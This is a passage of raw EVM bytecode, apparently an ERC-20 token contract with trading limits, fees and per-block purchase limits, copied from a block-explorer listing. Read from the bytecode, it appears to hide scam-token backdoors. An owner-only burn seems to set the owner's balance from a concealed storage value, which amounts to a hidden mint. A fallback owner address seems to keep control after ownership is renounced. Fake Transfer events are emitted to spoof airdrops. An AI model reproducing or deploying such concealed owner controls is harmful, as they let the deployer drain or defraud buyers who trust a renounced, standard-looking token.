05092915050565b600060a0820190506141cc60008301886140af565b6141d960208301876140ea565b81810360408301526141eb8186614159565b90506141fa60608301856130c7565b6142076080830184612cef565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061424b82612c43565b915061425683612c43565b92508261426657614265614211565b5b82820490509291505056fea2646970667358221220ff3f41a35660e62898d1c214dbee026c9860b82b27392a168663c671bc23697c64736f6c63430008110033000000000000000000000000f9de63e621d5e7752ca971de89702dec4bd32f32
Deployed Bytecode
0x60806040526004361061021e5760003560e01c806389291a8f11610123578063c2b7bbb6116100ab578063dd8546521161006f578063dd85465214610792578063e2f45605146107bd578063f2fde38b146107e8578063f8b45b0514610811578063ffb54a991461083c57610225565b8063c2b7bbb6146106bf578063c8c8ebe4146106e8578063c9567bf914610713578063cf9522fd1461072a578063dd62ed3e1461075557610225565b8063a457c2d7116100f2578063a457c2d7146105b6578063a9059cbb146105f3578063afa4f3b214610630578063b18834aa14610659578063baf1f77d1461068257610225565b806389291a8f146105205780638da5cb5b1461053757806395d89b41146105625780639a7a23d61461058d57610225565b806342966c68116101a657806370a082311161017557806370a0823114610475578063715018a6146104b2578063751039fc146104c95780637571336a146104e05780637d16a7211461050957610225565b806342966c68146103cd5780635178624c146103f6578063583e05681461041f5780636ddd17131461044a57610225565b806323b872dd116101ed57806323b872dd146102d4578063311028af14610311578063313ce5671461033c57806339509351146103675780633be6e637146103a457610225565b806306fdde031461022a578063095ea7b3146102555780630f054c061461029257806318160ddd146102a957610225565b3661022557005b600080fd5b34801561023657600080fd5b5061023f610867565b60405161024c9190612baf565b60405180910390f35b34801561026157600080fd5b5061027c60048036038101906102779190612c79565b6108f9565b6040516102899190612cd4565b60405180910390f35b34801561029e57600080fd5b506102a761091c565b005b3480156102b557600080fd5b506102be610a6d565b6040516102cb9190612cfe565b60405180910390f35b3480156102e057600080fd5b506102fb60048036038101906102f69190612d19565b610a77565b6040516103089190612cd4565b60405180910390f35b34801561031d57600080fd5b50610326610aa6565b6040516103339190612cfe565b60405180910390f35b34801561034857600080fd5b50610351610aac565b60405161035e9190612d88565b60405180910390f35b34801561037357600080fd5b5061038e60048036038101906103899190612c79565b610ab5565b60405161039b9190612cd4565b60405180910390f35b3480156103b057600080fd5b506103cb60048036038101906103c69190612da3565b610aec565b005b3480156103d957600080fd5b506103f460048036038101906103ef9190612de3565b610b57565b005b34801561040257600080fd5b5061041d60048036038101906104189190612f84565b610b73565b005b34801561042b57600080fd5b50610434610c78565b604051610441919061303f565b60405180910390f35b34801561045657600080fd5b5061045f610c9c565b60405161046c9190612cd4565b60405180910390f35b34801561048157600080fd5b5061049c6004803603810190610497919061305a565b610caf565b6040516104a99190612cfe565b60405180910390f35b3480156104be57600080fd5b506104c7610cf7565b005b3480156104d557600080fd5b506104de610d0b565b005b3480156104ec57600080fd5b5061050760048036038101906105029190613087565b610d30565b005b34801561051557600080fd5b5061051e610d93565b005b34801561052c57600080fd5b50610535610db8565b005b34801561054357600080fd5b5061054c610e4c565b60405161055991906130d6565b60405180910390f35b34801561056e57600080fd5b50610577610e76565b6040516105849190612baf565b60405180910390f35b34801561059957600080fd5b506105b460048036038101906105af9190613087565b610f08565b005b3480156105c257600080fd5b506105dd60048036038101906105d89190612c79565b610fae565b6040516105ea9190612cd4565b60405180910390f35b3480156105ff57600080fd5b5061061a60048036038101906106159190612c79565b611025565b6040516106279190612cd4565b60405180910390f35b34801561063c57600080fd5b5061065760048036038101906106529190612de3565b611048565b005b34801561066557600080fd5b50610680600480360381019061067b919061314c565b611078565b005b34801561068e57600080fd5b506106a960048036038101906106a4919061305a565b611155565b6040516106b69190612cd4565b60405180910390f35b3480156106cb57600080fd5b506106e660048036038101906106e1919061305a565b6111ab565b005b3480156106f457600080fd5b506106fd6111f7565b60405161070a9190612cfe565b60405180910390f35b34801561071f57600080fd5b506107286111fd565b005b34801561073657600080fd5b5061073f611222565b60405161074c9190612cfe565b60405180910390f35b34801561076157600080fd5b5061077c600480360381019061077791906131ac565b611228565b6040516107899190612cfe565b60405180910390f35b34801561079e57600080fd5b506107a76112af565b6040516107b49190612cfe565b60405180910390f35b3480156107c957600080fd5b506107d26112b5565b6040516107df9190612cfe565b60405180910390f35b3480156107f457600080fd5b5061080f600480360381019061080a919061305a565b6112bb565b005b34801561081d57600080fd5b5061082661133e565b6040516108339190612cfe565b60405180910390f35b34801561084857600080fd5b50610851611344565b60405161085e9190612cd4565b60405180910390f35b6060600480546108769061321b565b80601f01602080910402602001604051908101604052809291908181526020018280546108a29061321b565b80156108ef5780601f106108c4576101008083540402835291602001916108ef565b820191906000526020600020905b8154815290600101906020018083116108d257829003601f168201915b5050505050905090565b600080610904611357565b905061091181858561135f565b600191505092915050565b610924611528565b600030905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161096491906130d6565b602060405180830381865afa158015610981573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109a59190613261565b9050600081116109ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e1906132da565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610a259291906132fa565b6020604051808303816000875af1158015610a44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a689190613338565b505050565b6000600354905090565b600080610a82611357565b9050610a8f8582856115a6565b610a9a858585611632565b60019150509392505050565b60115481565b60006009905090565b600080610ac0611357565b9050610ae1818585610ad28589611228565b610adc9190613394565b61135f565b600191505092915050565b610af4611528565b60148211158015610b06575060328111155b610b45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3c90613414565b60405180910390fd5b81601381905550806012819055505050565b610b5f611528565b610b70610b6a611357565b82611f8e565b50565b610b7b611528565b60005b8251811015610c73578160016000858481518110610b9f57610b9e613434565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550828181518110610c0b57610c0a613434565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff167f3499bfcf9673677ba552f3fe2ea274ec7e6246da31c3c87e115b45a9b0db2efb83604051610c589190612cd4565b60405180910390a28080610c6b90613463565b915050610b7e565b505050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b601460009054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610cff611528565b610d096000612163565b565b610d13611528565b6000610d1d610a6d565b905080600f8190555080600e8190555050565b610d38611528565b80601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610d9b611528565b6001601460006101000a81548160ff021916908315150217905550565b610dc0611528565b60004711610e03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfa906134f7565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610e49573d6000803e3d6000fd5b50565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610e859061321b565b80601f0160208091040260200160405190810160405280929190818152602001828054610eb19061321b565b8015610efe5780601f10610ed357610100808354040283529160200191610efe565b820191906000526020600020905b815481529060010190602001808311610ee157829003601f168201915b5050505050905090565b610f10611528565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fa0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9790613589565b60405180910390fd5b610faa8282612229565b5050565b600080610fb9611357565b90506000610fc78286611228565b90508381101561100c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110039061361b565b60405180910390fd5b611019828686840361135f565b60019250505092915050565b600080611030611357565b905061103d818585611632565b600191505092915050565b611050611528565b611058610aac565b600a611064919061376e565b8161106f91906137b9565b60108190555050565b611080611528565b60005b8383905081101561114f578383828181106110a1576110a0613434565b5b90506020020160208101906110b6919061305a565b73ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111349190612cfe565b60405180910390a3808061114790613463565b915050611083565b50505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6111b3611528565b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600f5481565b611205611528565b6001601460016101000a81548160ff021916908315150217905550565b60125481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60135481565b60105481565b6112c3611528565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611332576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113299061386d565b60405180910390fd5b61133b81612163565b50565b600e5481565b601460019054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c5906138ff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361143d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143490613991565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161151b9190612cfe565b60405180910390a3505050565b611530611357565b73ffffffffffffffffffffffffffffffffffffffff1661154e6122ca565b73ffffffffffffffffffffffffffffffffffffffff16146115a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159b906139fd565b60405180910390fd5b565b60006115b28484611228565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461162c578181101561161e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161590613a69565b60405180910390fd5b61162b848484840361135f565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169890613afb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611710576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170790613b8d565b60405180910390fd5b43601781905550600081036117305761172b838360006122de565b611f89565b611738610e4c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117a65750611776610e4c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117df5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611819575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118325750600d60149054906101000a900460ff16155b15611bac57601460019054906101000a900460ff1661192c57600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806118ec5750600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61192b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192290613bf9565b60405180910390fd5b5b601754600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611a155750601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611abc57600f54811115611a5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5690613cb1565b60405180910390fd5b600e54611a6b83610caf565b82611a769190613394565b1115611ab7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aae90613d1d565b60405180910390fd5b611bab565b601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611b5f5750601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611baa57600f54811115611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba090613daf565b60405180910390fd5b5b5b5b6000611bb730610caf565b905060008082119050808015611bd95750601460009054906101000a900460ff165b8015611bf25750600d60149054906101000a900460ff16155b8015611c485750601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611c9e5750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611cf45750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d39576001600d60146101000a81548160ff021916908315150217905550611d1d83612554565b6000600d60146101000a81548160ff0219169083151502179055505b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611dd35750600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460175411155b15611de257611de1856126e6565b5b6000600d60149054906101000a900460ff169050600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e975750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611ea157600090505b60008115611f7957601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611f2a57611f236064611f1560125488612a3590919063ffffffff16565b612a4b90919063ffffffff16565b9050611f55565b611f526064611f4460135488612a3590919063ffffffff16565b612a4b90919063ffffffff16565b90505b6000811115611f6a57611f698730836122de565b5b8085611f769190613dcf565b94505b611f848787876122de565b505050505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611ffd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff490613e75565b60405180910390fd5b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612083576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161207a90613f07565b60405180910390fd5b816007546120919190613dcf565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600360008282546120e59190613dcf565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161214a9190612cfe565b60405180910390a361215e83600084612a61565b505050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b6000806122d5612a66565b90508091505090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361234d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234490613afb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036123bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123b390613b8d565b60405180910390fd5b6123c7838383612b0e565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561244d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161244490613f99565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161253b9190612cfe565b60405180910390a361254e848484612a61565b50505050565b600061255f30610caf565b905060008082036125715750506126e3565b60006012546013546125839190613394565b036125ff57600082118015612599575060105482105b156125a6578190506125fa565b60006125d060646125c260125487612a3590919063ffffffff16565b612a4b90919063ffffffff16565b905080846125de9190613dcf565b93506010548411156125f45760105491506125f8565b8391505b505b6126d7565b60008211801561262357506126206005601054612a4b90919063ffffffff16565b82105b1561262f5750506126e3565b60008211801561265357506126506005601054612a4b90919063ffffffff16565b82115b8015612660575060105482105b156126825761267b6005601054612a4b90919063ffffffff16565b90506126d6565b60006126ac606461269e60125487612a3590919063ffffffff16565b612a4b90919063ffffffff16565b905080846126ba9190613dcf565b93506010548411156126d05760105491506126d4565b8391505b505b5b6126e0816126e6565b50505b50565b600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156127c057612780600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b13565b6127bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b69061402b565b60405180910390fd5b5b6000600267ffffffffffffffff8111156127dd576127dc612e15565b5b60405190808252806020026020018201604052801561280b5781602001602082028036833780820191505090505b509050308160008151811061282357612822613434565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156128c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128ec9190614060565b81600181518110612900576128ff613434565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061297b307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d8473ffffffffffffffffffffffffffffffffffffffff1661135f565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b81526004016129ff9594939291906141b7565b600060405180830381600087803b158015612a1957600080fd5b505af1158015612a2d573d6000803e3d6000fd5b505050505050565b60008183612a4391906137b9565b905092915050565b60008183612a599190614240565b905092915050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612ae557600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612b09565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b505050565b60004382119050919050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612b59578082015181840152602081019050612b3e565b60008484015250505050565b6000601f19601f8301169050919050565b6000612b8182612b1f565b612b8b8185612b2a565b9350612b9b818560208601612b3b565b612ba481612b65565b840191505092915050565b60006020820190508181036000830152612bc98184612b76565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612c1082612be5565b9050919050565b612c2081612c05565b8114612c2b57600080fd5b50565b600081359050612c3d81612c17565b92915050565b6000819050919050565b612c5681612c43565b8114612c6157600080fd5b50565b600081359050612c7381612c4d565b92915050565b60008060408385031215612c9057612c8f612bdb565b5b6000612c9e85828601612c2e565b9250506020612caf85828601612c64565b9150509250929050565b60008115159050919050565b612cce81612cb9565b82525050565b6000602082019050612ce96000830184612cc5565b92915050565b612cf881612c43565b82525050565b6000602082019050612d136000830184612cef565b92915050565b600080600060608486031215612d3257612d31612bdb565b5b6000612d4086828701612c2e565b9350506020612d5186828701612c2e565b9250506040612d6286828701612c64565b9150509250925092565b600060ff82169050919050565b612d8281612d6c565b82525050565b6000602082019050612d9d6000830184612d79565b92915050565b60008060408385031215612dba57612db9612bdb565b5b6000612dc885828601612c64565b9250506020612dd985828601612c64565b9150509250929050565b600060208284031215612df957612df8612bdb565b5b6000612e0784828501612c64565b91505092915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612e4d82612b65565b810181811067ffffffffffffffff82111715612e6c57612e6b612e15565b5b80604052505050565b6000612e7f612bd1565b9050612e8b8282612e44565b919050565b600067ffffffffffffffff821115612eab57612eaa612e15565b5b602082029050602081019050919050565b600080fd5b6000612ed4612ecf84612e90565b612e75565b90508083825260208201905060208402830185811115612ef757612ef6612ebc565b5b835b81811015612f205780612f0c8882612c2e565b845260208401935050602081019050612ef9565b5050509392505050565b600082601f830112612f3f57612f3e612e10565b5b8135612f4f848260208601612ec1565b91505092915050565b612f6181612cb9565b8114612f6c57600080fd5b50565b600081359050612f7e81612f58565b92915050565b60008060408385031215612f9b57612f9a612bdb565b5b600083013567ffffffffffffffff811115612fb957612fb8612be0565b5b612fc585828601612f2a565b9250506020612fd685828601612f6f565b9150509250929050565b6000819050919050565b6000613005613000612ffb84612be5565b612fe0565b612be5565b9050919050565b600061301782612fea565b9050919050565b60006130298261300c565b9050919050565b6130398161301e565b82525050565b60006020820190506130546000830184613030565b92915050565b6000602082840312156130705761306f612bdb565b5b600061307e84828501612c2e565b91505092915050565b6000806040838503121561309e5761309d612bdb565b5b60006130ac85828601612c2e565b92505060206130bd85828601612f6f565b9150509250929050565b6130d081612c05565b82525050565b60006020820190506130eb60008301846130c7565b92915050565b600080fd5b60008083601f84011261310c5761310b612e10565b5b8235905067ffffffffffffffff811115613129576131286130f1565b5b60208301915083602082028301111561314557613144612ebc565b5b9250929050565b60008060006040848603121561316557613164612bdb565b5b600084013567ffffffffffffffff81111561318357613182612be0565b5b61318f868287016130f6565b935093505060206131a286828701612c64565b9150509250925092565b600080604083850312156131c3576131c2612bdb565b5b60006131d185828601612c2e565b92505060206131e285828601612c2e565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061323357607f821691505b602082108103613246576132456131ec565b5b50919050565b60008151905061325b81612c4d565b92915050565b60006020828403121561327757613276612bdb565b5b60006132858482850161324c565b91505092915050565b7f4e6f20746f6b656e7320746f20636c6561720000000000000000000000000000600082015250565b60006132c4601283612b2a565b91506132cf8261328e565b602082019050919050565b600060208201905081810360008301526132f3816132b7565b9050919050565b600060408201905061330f60008301856130c7565b61331c6020830184612cef565b9392505050565b60008151905061333281612f58565b92915050565b60006020828403121561334e5761334d612bdb565b5b600061335c84828501613323565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061339f82612c43565b91506133aa83612c43565b92508282019050808211156133c2576133c1613365565b5b92915050565b7f466565732063616e6e6f74206578636565642033302500000000000000000000600082015250565b60006133fe601683612b2a565b9150613409826133c8565b602082019050919050565b6000602082019050818103600083015261342d816133f1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061346e82612c43565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036134a05761349f613365565b5b600182019050919050565b7f546f6b656e3a206e6f2045544820746f20636c65617200000000000000000000600082015250565b60006134e1601683612b2a565b91506134ec826134ab565b602082019050919050565b60006020820190508181036000830152613510816134d4565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b6000613573603983612b2a565b915061357e82613517565b604082019050919050565b600060208201905081810360008301526135a281613566565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000613605602583612b2a565b9150613610826135a9565b604082019050919050565b60006020820190508181036000830152613634816135f8565b9050919050565b60008160011c9050919050565b6000808291508390505b60018511156136925780860481111561366e5761366d613365565b5b600185161561367d5780820291505b808102905061368b8561363b565b9450613652565b94509492505050565b6000826136ab5760019050613767565b816136b95760009050613767565b81600181146136cf57600281146136d957613708565b6001915050613767565b60ff8411156136eb576136ea613365565b5b8360020a91508482111561370257613701613365565b5b50613767565b5060208310610133831016604e8410600b841016171561373d5782820a90508381111561373857613737613365565b5b613767565b61374a8484846001613648565b9250905081840481111561376157613760613365565b5b81810290505b9392505050565b600061377982612c43565b915061378483612d6c565b92506137b17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461369b565b905092915050565b60006137c482612c43565b91506137cf83612c43565b92508282026137dd81612c43565b915082820484148315176137f4576137f3613365565b5b5092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613857602683612b2a565b9150613862826137fb565b604082019050919050565b600060208201905081810360008301526138868161384a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006138e9602483612b2a565b91506138f48261388d565b604082019050919050565b60006020820190508181036000830152613918816138dc565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061397b602283612b2a565b91506139868261391f565b604082019050919050565b600060208201905081810360008301526139aa8161396e565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006139e7602083612b2a565b91506139f2826139b1565b602082019050919050565b60006020820190508181036000830152613a16816139da565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000613a53601d83612b2a565b9150613a5e82613a1d565b602082019050919050565b60006020820190508181036000830152613a8281613a46565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613ae5602583612b2a565b9150613af082613a89565b604082019050919050565b60006020820190508181036000830152613b1481613ad8565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613b77602383612b2a565b9150613b8282613b1b565b604082019050919050565b60006020820190508181036000830152613ba681613b6a565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b6000613be3601683612b2a565b9150613bee82613bad565b602082019050919050565b60006020820190508181036000830152613c1281613bd6565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374695f69734578636c7564656446726f6d466565736f60208201527f6e416d6f756e742e000000000000000000000000000000000000000000000000604082015250565b6000613c9b604883612b2a565b9150613ca682613c19565b606082019050919050565b60006020820190508181036000830152613cca81613c8e565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000613d07601383612b2a565b9150613d1282613cd1565b602082019050919050565b60006020820190508181036000830152613d3681613cfa565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b6000613d99603683612b2a565b9150613da482613d3d565b604082019050919050565b60006020820190508181036000830152613dc881613d8c565b9050919050565b6000613dda82612c43565b9150613de583612c43565b9250828203905081811115613dfd57613dfc613365565b5b92915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000613e5f602183612b2a565b9150613e6a82613e03565b604082019050919050565b60006020820190508181036000830152613e8e81613e52565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000613ef1602283612b2a565b9150613efc82613e95565b604082019050919050565b60006020820190508181036000830152613f2081613ee4565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000613f83602683612b2a565b9150613f8e82613f27565b604082019050919050565b60006020820190508181036000830152613fb281613f76565b9050919050565b7f4f6e6c79206f6e652070757263686173652070657220626c6f636b20616c6c6f60008201527f7765642e0000000000000000000000000000000000000000